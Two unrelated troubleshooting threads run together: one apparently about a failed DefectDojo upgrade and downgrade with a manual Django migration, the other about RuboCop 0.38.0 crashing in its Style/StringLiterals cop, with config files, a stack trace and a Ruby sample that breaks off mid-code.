django-defectdojo-master-uwsgi-1  | LINE 1: SELECT "dojo_system_settings"."id", "dojo_system_settings"."...
django-defectdojo-master-uwsgi-1  |                                             ^
django-defectdojo-master-uwsgi-1  |

Hmmm... this is interesting.
Your issue is not connected only to the management of group but to different components (the mentioned error is just a side-effect).
Based on the logs I see that enable_auditlog is missing. This field has been removed in #9002, released in v2.30.0
It looks like you somehow ran initializer in version 2.30.0 (or 2.30.1) but uwsgi in 2.29.1.
Quite an unusual situation. Usually, if there is some issue, versions are opposite (new uwsgi, old initializer).
A couple of investigation questions:

Did you set DJANGO_VERSION? If so how?
Did you run git pull (on another git command)?
Did you run ./dc-build.sh recently?
Did you perform any changes in to the code?

Oh, before I tried to upgrate version to v2.30.0 with https://defectdojo.github.io/django-DefectDojo/getting_started/upgrading/
But when success update v2.30.0, I can't authen LDAP - can see it here: https://github.com/DefectDojo/django-DefectDojo/issues/9272
So I remove 2 image: defectdojo/defectdojo-django:latest, defectdojo/defectdojo-nginx:latest. Then run: ./dc-build.sh and ./dc-up-d.sh postgres-redis to use old version: v2.29.1

A downgrade from 2.30.0 to 2.29.1 would be possible but it is necessary to perform the migration manually.
python manage.py migrate dojo 0193_remove_system_settings_enable_auditlog

Oh, thank you and one more question
Why upgrade v2.29.1 to v2.30.0, authen with LDAP is not work

docker exec -it django-defectdojo-uwsgi-1 python manage.py migrate dojo 0193_remove_system_settings_enable_auditlog

Can't find a migration:
/usr/local/lib/python3.11/site-packages/coreapi/codecs/download.py:5: DeprecationWarning: 'cgi' is deprecated and slated for removal in Python 3.13
  import cgi
CommandError: Cannot find a migration matching '0193_remove_system_settings_enable_auditlog' from app 'dojo'.

 To not be stacked with the old version of DD.
If it is not an option, can you try following?

upgrade to 2.30.0
let finish the initializer (until it is successfully done)
run downgrade of database (docker exec -it django-defectdojo-master-uwsgi-1 python manage.py migrate dojo 0193_remove_system_settings_enable_auditlog). Yes, on 2.30.0
stop the instance
downgrade to 2.29.x (there is not that huge difference between these versions)
start an instance on 2.30.0 and hope, it will work

My goal is to be able to continue using LDAP on the new version.
And I don't clear at:

downgrade to 2.29.x (there is not that huge difference between these versions)
start an instance on 2.30.0 and hope, it will work
Please, give more detail information


0.38.0 still throwing errors

Okay,
I reported before that the Style/StringLiterals cop was generating errors in the 0.37.2 error.
Today I upgraded Rubocop to version 0.38.0 on a separate branch and tried to run it again to see what has changed.
Expected behavior
No new errors should be generated
Existing code should not marked as violations
Actual behavior
The current code base suddenly get's marked as violations for specific cops
Steps to reproduce the problem

upgrade to 0.38.0 from 0.37.2
use the supplied config files

.rubocop.yml
inherit_from: .rubocop_todo.yml
AllCops:
  Include:
    - '**/Rakefile'
    - '**/config.ru'
  Exclude:
    - 'db/schema.rb'
    - 'vendor/**/*'
  TargetRubyVersion: 2.3

# This rule checks whether the *end* keyword is always properly aligned with the variable
# it belongs to.
Lint/EndAlignment:
  AlignWith: variable

# This rule checks whether the alignment of hashes is following the correct configuration:
# All entries are aligned on keys, and no exceptions are allowed.
Style/AlignHash:
  EnforcedHashRocketStyle: key
  EnforcedColonStyle: key
  EnforcedLastArgumentHashStyle: always_inspect

# This rule enforces spaces around equal signs in function parameters.
Style/SpaceAroundEqualsInParameterDefault:
  EnforcedStyle: space

# This rule enforces spaces around operators.
# Alignment spaces are allowed as exception to the rule.
Style/SpaceAroundOperators:
  AllowForAlignment: true

# This rule enforces a single space to be placed before the block braces.
# Increases readability of the code.
Style/SpaceBeforeBlockBraces:
  EnforcedStyle: space

# This rule prevents spaces before the first argument in function calls.
# The only exception to this rule is properly aligning the parameters.
Style/SpaceBeforeFirstArg:
  AllowForAlignment: true

# This rule checks whether proper spacing is used for block braces in method calls.
# With the current configuration we do not allow spaces before or after the braces,
# except for the block parameters.
Style/SpaceInsideBlockBraces:
  EnforcedStyle: space
  EnforcedStyleForEmptyBraces: no_space
  SpaceBeforeBlockParameters: space

# Configures the spacing for curly brackets to be one space.
# The exception is empty braces, where no space is enforced.
Style/SpaceInsideHashLiteralBraces:
  EnforcedStyle: space
  EnforcedStyleForEmptyBraces: no_space

# This enforces the usage of proper english names for special variables, increasing the
# readability of the source code and removing things like $1 $$ and $:.
Style/SpecialGlobalVars:
  EnforcedStyle: use_english_names

# This rule checks whether string literals used inside interpolated strings are following the
# configured rule, which for Riskmethods is single quotes.
Style/StringLiteralsInInterpolation:
  EnforcedStyle: single_quotes

# This rule checks whether procs are properly written as symbol procs, unless the method in question
# is inside the ignore whitelist.
Style/SymbolProc:
  IgnoredMethods:
    - respond_to

# This rule checks whether trailing comma's are removed from string literals.
Style/TrailingCommaInLiteral:
  EnforcedStyleForMultiline: no_comma

# This rule enforces the removal of trivial accessors in the code, keeping the code base clean.
Style/TrivialAccessors:
  ExactNameMatch: true
  AllowPredicates: false
  AllowDSLWriters: false
  IgnoreClassMethods: false
  Whitelist:
    - to_ary
    - to_a
    - to_c
    - to_enum
    - to_h
    - to_hash
    - to_i
    - to_int
    - to_io
    - to_open
    - to_path
    - to_proc
    - to_r
    - to_regexp
    - to_str
    - to_s
    - to_sym

Style/TrailingCommaInLiteral:
  EnforcedStyleForMultiline: no_comma

Style/TrailingCommaInArguments:
  EnforcedStyleForMultiline: no_comma

Style/SymbolProc:
  IgnoredMethods:
    - respond_to

# Use single quotes for string literals unless they are being interpolated by the code.
# Strings spanning multiple lines using \ need to follow the same quote convention
Style/StringLiterals:
  EnforcedStyle: single_quotes
  ConsistentQuotesInMultiline: true

# When using Strings inside Interpolated strings, respect the same quote convention.
Style/StringLiteralsInInterpolation:
  EnforcedStyle: single_quotes

# Use proper English names for special variables, and not the obsucre Perl ones.
Style/SpecialGlobalVars:
  EnforcedStyle: use_english_names

.rubocop_todo.yml
# This configuration was generated by
# `rubocop --auto-gen-config`
# on 2016-03-11 11:00:49 +0100 using RuboCop version 0.38.0.
# The point is for the user to remove these configuration records
# one by one as the offenses are removed from the code base.
# Note that changes in the inspected code, or installation of new
# versions of RuboCop, may require this file to be generated again.

# Offense count: 11
Lint/IneffectiveAccessModifier:
  Exclude:
    -some_file.rb

# Offense count: 4
Lint/UselessAccessModifier:
  Exclude:
    - 'app/business_objects/sql_search/supplier.rb'
    - 'app/form_objects/indicator_message/supplier_form_object.rb'
    - 'app/models/indicator.rb'
    - 'spec/support/database_support.rb'

# Offense count: 397
Metrics/AbcSize:
  Max: 169

# Offense count: 39
# Configuration parameters: CountComments.
Metrics/ClassLength:
  Max: 756

# Offense count: 36
Metrics/CyclomaticComplexity:
  Max: 37

# Offense count: 7509
# Configuration parameters: AllowHeredoc, AllowURI, URISchemes.
# URISchemes: http, https
Metrics/LineLength:
  Max: 414

# Offense count: 457
# Configuration parameters: CountComments.
Metrics/MethodLength:
  Max: 132

# Offense count: 6
# Configuration parameters: CountComments.
Metrics/ModuleLength:
  Max: 424

# Offense count: 3
# Configuration parameters: CountKeywordArgs.
Metrics/ParameterLists:
  Max: 6

# Offense count: 22
Metrics/PerceivedComplexity:
  Max: 37

# Offense count: 2
# Cop supports --auto-correct.
Performance/Casecmp:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
Performance/Count:
  Exclude:
    - some_file.rb

# Offense count: 2
# Cop supports --auto-correct.
Performance/Detect:
  Exclude:
    - some_file.rb

# Offense count: 2
# Cop supports --auto-correct.
Performance/RangeInclude:
  Exclude:
    - some_file.rb

# Offense count: 3
# Cop supports --auto-correct.
Performance/RedundantBlockCall:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
Performance/RedundantMatch:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
# Configuration parameters: MaxKeyValuePairs.
Performance/RedundantMerge:
  Exclude:
    - some_file.rb

# Offense count: 5
# Cop supports --auto-correct.
Performance/Size:
  Exclude:
    - some_file.rb

# Offense count: 19
# Cop supports --auto-correct.
Performance/StringReplacement:
  Exclude:
    - some_file.rb

# Offense count: 1
Performance/TimesMap:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, IndentationWidth.
# SupportedStyles: outdent, indent
Style/AccessModifierIndentation:
  Enabled: false

# Offense count: 34
Style/AccessorMethodName:
  Enabled: false

# Offense count: 7
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: prefer_alias, prefer_alias_method
Style/Alias:
  Exclude:
    - some_file.rb

# Offense count: 228
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: with_first_parameter, with_fixed_indentation
Style/AlignParameters:
  Enabled: false

# Offense count: 5
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: always, conditionals
Style/AndOr:
  Exclude:
    - some_file.rb

# Offense count: 32
Style/AsciiComments:
  Exclude:
    - some_file.rb

# Offense count: 194
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, ProceduralMethods, FunctionalMethods, IgnoredMethods.
# SupportedStyles: line_count_based, semantic, braces_for_chaining
# ProceduralMethods: benchmark, bm, bmbm, create, each_with_object, measure, new, realtime, tap, with_object
# FunctionalMethods: let, let!, subject, watch
# IgnoredMethods: lambda, proc, it
Style/BlockDelimiters:
  Enabled: false

# Offense count: 2
# Cop supports --auto-correct.
Style/BlockEndNewline:
  Exclude:
    - some_file.rb

# Offense count: 468
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: braces, no_braces, context_dependent
Style/BracesAroundHashParameters:
  Enabled: false

# Offense count: 18
# Cop supports --auto-correct.
# Configuration parameters: IndentWhenRelativeTo, SupportedStyles, IndentOneStep, IndentationWidth.
# SupportedStyles: case, end
Style/CaseIndentation:
  Enabled: false

# Offense count: 5
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: nested, compact
Style/ClassAndModuleChildren:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: is_a?, kind_of?
Style/ClassCheck:
  Exclude:
    - some_file.rb

# Offense count: 2
Style/ClassVars:
  Exclude:
    - some_file.rb

# Offense count: 312
# Cop supports --auto-correct.
Style/ClosingParenthesisIndentation:
  Enabled: false

# Offense count: 14
# Cop supports --auto-correct.
# Configuration parameters: Keywords.
# Keywords: TODO, FIXME, OPTIMIZE, HACK, REVIEW
Style/CommentAnnotation:
  Exclude:
    - some_file.rb

# Offense count: 4
# Cop supports --auto-correct.
# Configuration parameters: SingleLineConditionsOnly.
Style/ConditionalAssignment:
  Exclude:
    - some_file.rb

# Offense count: 16
# Cop supports --auto-correct.
Style/DeprecatedHashMethods:
  Exclude:
    - some_file.rb

# Offense count: 1483
Style/Documentation:
  Enabled: false

# Offense count: 143
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: leading, trailing
Style/DotPosition:
  Enabled: false

# Offense count: 1
Style/DoubleNegation:
  Exclude:
    - some_file.rb

# Offense count: 1
Style/EachWithObject:
  Exclude:
    - some_file.rb

# Offense count: 3
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: empty, nil, both
Style/EmptyElse:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
# Configuration parameters: AllowAdjacentOneLineDefs.
Style/EmptyLineBetweenDefs:
  Exclude:
    - some_file.rb

# Offense count: 1209
# Cop supports --auto-correct.
Style/EmptyLines:
  Enabled: false

# Offense count: 3973
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: empty_lines, no_empty_lines
Style/EmptyLinesAroundBlockBody:
  Enabled: false

# Offense count: 1554
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: empty_lines, no_empty_lines
Style/EmptyLinesAroundClassBody:
  Enabled: false

# Offense count: 26
# Cop supports --auto-correct.
Style/EmptyLinesAroundMethodBody:
  Enabled: false

# Offense count: 1576
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: empty_lines, no_empty_lines
Style/EmptyLinesAroundModuleBody:
  Enabled: false

# Offense count: 26
# Cop supports --auto-correct.
# Configuration parameters: AllowForAlignment, ForceEqualSignAlignment.
Style/ExtraSpacing:
  Enabled: false

# Offense count: 123
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, IndentationWidth.
# SupportedStyles: consistent, special_for_inner_method_call, special_for_inner_method_call_in_parentheses
Style/FirstParameterIndentation:
  Enabled: false

# Offense count: 2
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: format, sprintf, percent
Style/FormatString:
  Exclude:
    - some_file.rb

# Offense count: 2265
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: when_needed, always
Style/FrozenStringLiteralComment:
  Enabled: false

# Offense count: 4
# Configuration parameters: AllowedVariables.
Style/GlobalVars:
  Exclude:
    - some_file.rb

# Offense count: 14
# Configuration parameters: MinBodyLength.
Style/GuardClause:
  Exclude:
    - some_file.rb

# Offense count: 79
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, UseHashRocketsWithSymbolValues.
# SupportedStyles: ruby19, ruby19_no_mixed_keys, hash_rockets
Style/HashSyntax:
  Enabled: false

# Offense count: 2
Style/IfInsideElse:
  Exclude:
    - 'app/models/indicator_message/base.rb'
    - 'lib/extensions/whitelist.rb'

# Offense count: 27
# Cop supports --auto-correct.
# Configuration parameters: MaxLineLength.
Style/IfUnlessModifier:
  Enabled: false

# Offense count: 48
# Cop supports --auto-correct.
# Configuration parameters: SupportedStyles, IndentationWidth.
# SupportedStyles: special_inside_parentheses, consistent, align_brackets
Style/IndentArray:
  EnforcedStyle: consistent

# Offense count: 706
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, IndentationWidth.
# SupportedStyles: special_inside_parentheses, consistent, align_braces
Style/IndentHash:
  Enabled: false

# Offense count: 32
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: normal, rails
Style/IndentationConsistency:
  Exclude:
    - some_file.rb

# Offense count: 6
# Cop supports --auto-correct.
# Configuration parameters: Width.
Style/IndentationWidth:
  Exclude:
    - some_file.rb

# Offense count: 9
# Cop supports --auto-correct.
Style/Lambda:
  Exclude:
    - some_file.rb

# Offense count: 90
# Cop supports --auto-correct.
Style/LeadingCommentSpace:
  Enabled: false

# Offense count: 9
# Cop supports --auto-correct.
Style/MethodCallParentheses:
  Exclude:
    - some_file.rb

# Offense count: 5
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: snake_case, camelCase
Style/MethodName:
  Enabled: false

# Offense count: 1
Style/MultilineBlockChain:
  Exclude:
    - some_file.rb

# Offense count: 2
# Cop supports --auto-correct.
Style/MultilineBlockLayout:
  Exclude:
    - some_file.rb

# Offense count: 102
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, IndentationWidth.
# SupportedStyles: aligned, indented
Style/MultilineMethodCallIndentation:
  Enabled: false

# Offense count: 12
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, IndentationWidth.
# SupportedStyles: aligned, indented
Style/MultilineOperationIndentation:
  Enabled: false

# Offense count: 35
# Cop supports --auto-correct.
Style/MutableConstant:
  Enabled: false

# Offense count: 3
# Cop supports --auto-correct.
Style/NegatedIf:
  Exclude:
    - some_file.rb

# Offense count: 3
# Cop supports --auto-correct.
Style/NegatedWhile:
  Exclude:
    - some_file.rb

# Offense count: 22
Style/NestedParenthesizedCalls:
  Exclude:
    - some_file.rb

# Offense count: 13
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, MinBodyLength, SupportedStyles.
# SupportedStyles: skip_modifier_ifs, always
Style/Next:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
Style/Not:
  Exclude:
    - some_file.rb

# Offense count: 77
# Cop supports --auto-correct.
Style/NumericLiterals:
  MinDigits: 13

# Offense count: 1
# Cop supports --auto-correct.
Style/OneLineConditional:
  Exclude:
    - some_file.rb

# Offense count: 1
Style/OpMethod:
  Exclude:
    - some_file.rb

# Offense count: 1
Style/OptionalArguments:
  Exclude:
    - some_file.rb

# Offense count: 5
# Cop supports --auto-correct.
Style/ParallelAssignment:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
# Configuration parameters: AllowSafeAssignment.
Style/ParenthesesAroundCondition:
  Exclude:
    - some_file.rb

# Offense count: 3
# Cop supports --auto-correct.
# Configuration parameters: PreferredDelimiters.
Style/PercentLiteralDelimiters:
  Exclude:
    - some_file.rb

# Offense count: 10
# Cop supports --auto-correct.
Style/PerlBackrefs:
  Exclude:
    - some_file.rb

# Offense count: 26
# Configuration parameters: NamePrefix, NamePrefixBlacklist, NameWhitelist.
# NamePrefix: is_, has_, have_
# NamePrefixBlacklist: is_, has_, have_
# NameWhitelist: is_a?
Style/PredicateName:
  Enabled: false

# Offense count: 11
# Configuration parameters: EnforcedStyle, SupportedStyles.
# SupportedStyles: compact, exploded
Style/RaiseArgs:
  Enabled: false

# Offense count: 1
# Cop supports --auto-correct.
Style/RedundantBegin:
  Exclude:
    - some_file.rb

# Offense count: 1
# Cop supports --auto-correct.
Style/RedundantFreeze:
  Exclude:
    - some_file.rb

# Offense count: 2
# Cop supports --auto-correct.
Style/RedundantParentheses:
  Exclude:
    - some_file.rb

# Offense count: 4
# Cop supports --auto-correct.
# Configuration parameters: AllowMultipleReturnValues.
Style/RedundantReturn:
  Exclude:
    - some_file.rb

# Offense count: 1079
# Cop supports --auto-correct.
Style/RedundantSelf:
  Enabled: false

# Offense count: 3
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, AllowInnerSlashes.
# SupportedStyles: slashes, percent_r, mixed
Style/RegexpLiteral:
  Exclude:
    - some_file.rb

# Offense count: 52
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, ConsistentQuotesInMultiline.
# SupportedStyles: single_quotes, double_quotes
Style/StringLiterals:
  Enabled: false

RuboCop version
Include the output of rubocop -V:
$ rubocop -V
0.38.0 (using Parser <IP_ADDRESS>, running on ruby 2.2.3 x86_64-darwin15)

Additional information
An error occurred while Style/StringLiterals cop was inspecting /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb.

But when I try this:
➜  riskmethods git:(rubocop-upgrade) ✗ bundle exec rubocop -d  /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb
For /Users/olivar/RubymineProjects/riskmethods: configuration from /Users/olivar/RubymineProjects/riskmethods/.rubocop.yml
Inheriting configuration from /Users/olivar/RubymineProjects/riskmethods/.rubocop_todo.yml
Default configuration from<EMAIL_ADDRESS>Inheriting configuration from<EMAIL_ADDRESS>Inheriting configuration from<EMAIL_ADDRESS>Inspecting 1 file
Scanning /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb
.

1 file inspected, no offenses detected
Finished in 0.6144763129996136 seconds

So something is off when running RUbocop over all files.

Additional Information 2
I've reverted the changes to my rubocop_todo.yml file, so that it is back on the 0.37.2 version.
Then I simply rub rubocop with bundle exec rubocop and I receive 2265 new offenses:
snippet:
spec/uploaders/base_uploader_spec.rb:1:1: C: Missing frozen string literal comment.
require 'rails_helper'
^

2272 files inspected, 2265 offenses detected

This is the file in question:
require 'rails_helper'

describe ::BaseUploader do

  subject { ::BaseUploader.new }

  let(:cache_dir) { Rails.root.join('tmp/uploads') }

  describe '#cache_dir' do

    it 'it has the correct dir for the cache store' do
      expect(subject.cache_dir).to eq cache_dir
    end

  end

end

There's no way this should be reported as string literal offense.

I think the problem is this one: https://github.com/bbatsov/rubocop/pull/2802
TargetRubyVersion is forcing EnforcedStyle: always for FrozenStringLiteralComment

that would explain the frozen string literal at least.
Still needs to be looked at the errors being generated.

The only error I can repro is caused by:
Lint/IneffectiveAccessModifier:
  Exclude:
    -some_file.rb

...in .rubocop_todo.yml. This is invalid YAML; it should be - some_file.rb.

that's just a copy paste error, didn't want our file structure in there.

In that case I can't reproduce your problem at all.

I'll run a -d tommorow on the files throwing it on my side

going to close this. Reinstalled Rubocop again and now it wll worked fine.
Writing this off as a quirk in IOS

sigh,
Sorry reopening this.
I ran the command again on my system and on our Jenkins, and receive the following:
➜  riskmethods git:(rubocop-upgrade) bundle exec rubocop -d /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb
For /Users/olivar/RubymineProjects/riskmethods: configuration from /Users/olivar/RubymineProjects/riskmethods/.rubocop.yml
Inheriting configuration from /Users/olivar/RubymineProjects/riskmethods/.rubocop_todo.yml
Default configuration from<EMAIL_ADDRESS>Inheriting configuration from<EMAIL_ADDRESS>Inheriting configuration from<EMAIL_ADDRESS>Inspecting 1 file
Scanning /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb
An error occurred while Style/StringLiterals cop was inspecting /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb.
undefined method `source' for nil:NilClass
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/style/string_literals.rb:25:in `block in on_dstr'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/style/string_literals.rb:25:in `map'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/style/string_literals.rb:25:in `on_dstr'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:42:in `block (2 levels) in on_dstr'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:97:in `with_cop_error_handling'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:41:in `block in on_dstr'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:40:in `each'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:40:in `on_dstr'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:102:in `block in on_send'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:100:in `each'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:100:in `each_with_index'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:100:in `on_send'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_send'
(eval):3:in `on_lvasgn'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_lvasgn'
(eval):2:in `block in on_begin'
(eval):2:in `each'
(eval):2:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:155:in `on_block'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_block'
(eval):2:in `block in on_begin'
(eval):2:in `each'
(eval):2:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:155:in `on_block'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_block'
(eval):2:in `block in on_begin'
(eval):2:in `each'
(eval):2:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:155:in `on_block'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_block'
(eval):2:in `block in on_begin'
(eval):2:in `each'
(eval):2:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:155:in `on_block'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_block'
(eval):2:in `block in on_begin'
(eval):2:in `each'
(eval):2:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:46:in `on_begin'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/ast_node/traversal.rb:13:in `walk'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/commissioner.rb:59:in `investigate'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cop/team.rb:70:in `inspect_file'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:203:in `inspect_file'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:173:in `block in do_inspection_loop'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:163:in `loop'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:163:in `do_inspection_loop'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:87:in `process_file'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:59:in `block in inspect_files'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:57:in `each'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:57:in `inspect_files'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/runner.rb:35:in `run'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/lib/rubocop/cli.rb:30:in `run'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/bin/rubocop:14:in `block in <top (required)>'
/Users/olivar/.rvm/rubies/ruby-2.2.3/lib/ruby/2.2.0/benchmark.rb:303:in `realtime'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/gems/rubocop-0.38.0/bin/rubocop:13:in `<top (required)>'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/bin/rubocop:23:in `load'
/Users/olivar/.rvm/gems/ruby-2.2.3@riskmethods/bin/rubocop:23:in `<main>'
.

1 file inspected, no offenses detected

1 error occurred:
An error occurred while Style/StringLiterals cop was inspecting /Users/olivar/RubymineProjects/riskmethods/spec/business_objects/sql_search/risk_object/base_spec.rb.
Errors are usually caused by RuboCop bugs.
Please, report your problems to RuboCop's issue tracker.
Mention the following information in the issue report:
0.38.0 (using Parser <IP_ADDRESS>, running on ruby 2.2.3 x86_64-darwin15)
Finished in 0.6169131550000202 seconds

The file in question is a standard spec file, but contains again a multiline string with a mix of single and double quotes.

Here's a slightly modified file that is throwing the errors:
# frozen_string_literal: true
module TestModule
  module SecondTestModule

    class TestEntity < ::TestModule::SecondTestModule::Base
      # Virtus attributes
      attribute :some_id, Integer

      protected

      def affected_entities
        affected_cookies = reference[:cookie_ids]
        affected_boxes = reference[:box_ids]
        affected_cars = reference[:car_ids]
        affected_countries = reference[:country_ids]
        affected_factories = reference[:factory_ids]
        @affected_entities ||= ::Entity::Base.where(id: some_id).where(
          'indicator_entities.cookie_id IN (?) OR
          indicator_entities.box_id IN (?) OR
          indicator_entities.cars_id IN (?) OR
          indicator_entities.country_id IN (?) OR
          indicator_entities.factory_id IN (?)',
          affected_cookies,
          affected_boxes,
          affected_cars,
          affected_countries,
          affected_factories
          )
      end

      def affected_scores
        []
      end

    end

  end
end

and writing it like this fixes it:
# frozen_string_literal: true
module TestModule
  module SecondTestModule

    class TestEntity < ::TestModule::SecondTestModule::Base
